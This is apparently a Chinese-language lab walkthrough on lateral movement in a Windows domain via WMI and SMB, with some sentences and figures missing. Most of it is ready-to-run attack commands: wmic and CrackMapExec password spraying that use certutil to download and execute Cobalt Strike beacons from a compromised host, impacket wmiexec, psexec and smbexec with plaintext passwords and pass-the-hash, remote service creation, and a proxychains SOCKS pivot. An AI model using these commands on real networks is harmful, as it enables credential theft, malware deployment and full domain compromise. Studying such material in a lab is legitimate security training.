IPC横向移动的实验环境如下
攻击机:
LInux IP:47.94.236.117
内网环境:单域环境
Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动
IP:192.168.46.146 192.168.3.31
DC:域控 IP:192.168.3.21
Jack-PC: IP:192.168.3.29
Mary-PC: IP:192.168.3.25
SQLServer:IP:192.168.3.32
FileServer: IP:192.168.3.30
目标:拿下整个内网
WMI(Windows Management Instrumentation)协议是一种用于管理和监控Windows操作系统的协议。它是Microsoft Windows提供的一套系统管理和监控工具,用于管理本地或远程计算机上的系统信息、配置和状态。
WMI协议的主要目标是提供一种统一的接口,使系统管理员和开发人员能够通过编程方式获取和控制Windows操作系统的各种管理信息。通过WMI协议,可以访问和操作计算机的硬件、操作系统、网络、进程、服务等各个方面的信息。
通过使用WMI协议,可以执行以下操作:
在Windows操作系统中,WMI协议提供了强大的管理和监控功能,使系统管理员能够更轻松地管理和维护系统。开发人员也可以利用WMI协议编写
SMB(Server Message Block)协议是一种用于在计算机网络上共享文件、打印机和其他资源的通信协议。它是在局域网(LAN)中广泛使用的一种协议,最初由IBM开发,后来由微软引入并逐渐发展为现代的SMB协议。
SMB协议的作用是允许计算机之间共享文件和资源,并提供对这些共享资源的访问和管理。它提供了一套通信规范和命令,使计算机能够进行以下操作:
SMB协议通常在应用层和传输层之间运行,使用TCP/IP作为底层的网络传输协议。它在Windows操作系统中得到广泛应用,并被用于局域网中的文件共享和打印机共享。此外,SMB协议还经过不断的发展和改进,最新的版本是SMB3,它引入了更高的性能和安全性特性。
主要针对内网的网络情况,已沦陷主机明文密码,Hash抓取上进行收集
如何收集不再赘述,直接展示收集的结果
域中网络,Webserver 192.168.46.128 192.168.46.*网段出网,192.168.3.*网段不出网
针对的135端口扫描
已沦陷主机内存密码,Hash抓取结果
WMI协议是通过135端口进行利用的,支持用户明文或hash方式进行认证
不会再目标系统日志留下痕迹
这是一个单执行的指令,系统自带命令无回显
优势:不需要免杀
缺点:不支持Hash,且无回显
win10 使用该命令会报错
‘vmic’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
在Win10中,wmic已经归入C:\Windows\System32\wbem文件夹,而环境变量只设置到C:\Windows\System32,因此找不到wmic
只需要添加C:\Windows\System32\wbem 到环境变量——系统变量的Path变量
执行命令
换用DC账户密码,ver已经执行了,但是因为无回显
执行命令,说明执行了,但是无回显
普通账号显示拒绝访问 权限不够,DC账号可用
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/bindtcp-2222.exe c:/beacon.exe"
执行命令。经测试 不能执行后门,DC账号也不能用
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"
这是交互式的,也就意味可以反弹shell,但是CS无法反弹,直接会卡死
这个实战不常用
需要再Webserver上传wmiexec.vbs
在Webserver上执行命令,cscript系统自带
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
反弹shell
无法反弹shell,适合在shell环境进行横向移动
利用impacket中的wmiexec模块进行横向移动,非系统自带,支持hash传递
想要使用这种方式:
代理搭建:
CS服务端:代理转发-Socks代理-配置代理端口
攻击机:proxifier设置代理,IP为CS服务器IP:47.94.236.117
Py本地运行,测试目标的本地用户 administrator
python3 wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"
或者
python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
CS建立反向连接
CS选择Webserver的会话建立监听器,生成木马,上传到Webserver的web服务根目录下
之后横向移动令目标下载木马并执行
目标C盘出现木马
上线
接下来就再抓取新沦陷主机的内存明文密码和Hash,
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
交互式 windows官方工具,白名单,不会被杀,可以从微软官方pstools下载得到
在上面已经建立了代理的情况,攻击机访问192.168.3.*网络的流量都会转发给CS服务器发到内网中,可以在本地直接测试
这个是交互式的会反弹一个cmd窗口,所以不可以在CS上做。
这个的执行需要管理员以上的权限
攻击机本地测试:
psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
反弹shell回来:
EXE版Impacket的利用,同上在本地进行测试
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
也会反弹会一个shell
CS差价-有手就行
失败
去掉域GOD
成功上线
选上GOD就是用域用户administrator登录,不选就是本地adminstrator登录,两个是不一样的
原因很简单,用GOD域用户administrator登录账号密码是错误的,那个Hash不是域用户的,这个Hash确实本地administrator的。
横向移动要学会切换用户去攻击,攻击对方域用户,攻击对方本地账户
利用代理技术,把攻击机带入内网进行攻击
攻击本地用户 + 明文密码,成功
python3 smbexec.py ./administrator:admin!@#45@192.168.3.32 #非域用户
攻击域用户 + 明文密码,失败
python3 smbexec.py god/administrator:admin!@#45@192.168.3.32 #域用户
攻击本地用户 + Hash,成功
python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
攻击域用户 + Hash,失败
python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32
单执行,无回显,不推荐,太麻烦了
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
这上一篇中,演示了IPC协议使用写脚本横向移动
每次跑完脚本,有主机上线,抓取密码,使用新密码再进行横向移动跑脚本。
如果有的主机被发现,每次修改密码太过于繁琐。推荐一款工具,实现自动化
CrackMapExec
Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.cdsy.xyz/computer/security/231006/cd46181.html
下载对应release,建立socks连接,设置socks代理,配置规则,调用!
Linux Proxychains使用
安装使用:https://www.cdsy.xyz/computer/soft/net/231006/cd46180.html
代理配置:Proxychains.conf 代理调用:Proxychains 命令
————————————————
原文链接:https://www.cdsy.xyz/computer/security/231006/cd46182.html
常用命令:
密码喷射域登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’
密码喷射本地登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth
密码喷射本地登录命令执行:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘whoami’ --local-auth
密码喷射本地登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth
密码喷射域登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’
密码喷射本地&域登录命令执行全自动上线:
proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’
proxychains python cme smb 192.168.3.21-32 -u administrator -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth
Windows平台使用:使用代理,运行工具即可
这里演示的是Linux平台:项目放在Linux上跑
Linux-->Proxychains(代理,Linux流量转发)--->CS 和win平台原理一样,就是换个工具
现在回到最开始只拿到一个主机的时候,提取的密码
安装使用参考这篇文章,很详细:
https://www.cdsy.xyz/computer/soft/net/231006/cd46180.html
代理配置文件:Proxychains.conf
代理调用:Proxychains 命令
配置代理:
vim /etc/Proxychains.conf
走的是SOCK4协议,因为攻击机就是CS所在的服务器,所以需要把代理配置再本地的30194端口,CS接收发送到内网
测试代理
使用代理运行工具,打开项目
proxychains python cme
使用smb协议通讯内网主机 192.168.3.21
proxychains python cme smb 192.168.3.21
密码喷射与登录,测试域登录,即攻击域用户
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’
全部失败,红色减号表示失败
密码喷射本地登录 攻击主机本地用户
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth
成功,测试出来可以登录的主机
直接攻击 192.168.3.29 命令执行
之后命令该为下载执行命令即可
192.168.3.29 上线CS
测试利用Hash喷射域用户
全部成功
因为这个Hash正好是域控的Hash
加上命令执行
之后全部上线
还可以这样操作
vim u.txt 里面全是用户名(信息收集得到)
vim p.txt 拿到的所有凭据
u.txt和p.txt我写反了 不过没关系,参数换一下即可
最终全部上线
也就是说我们控制lwebserver后提取密码与哈希,就能利用这个工具自动化横向移动。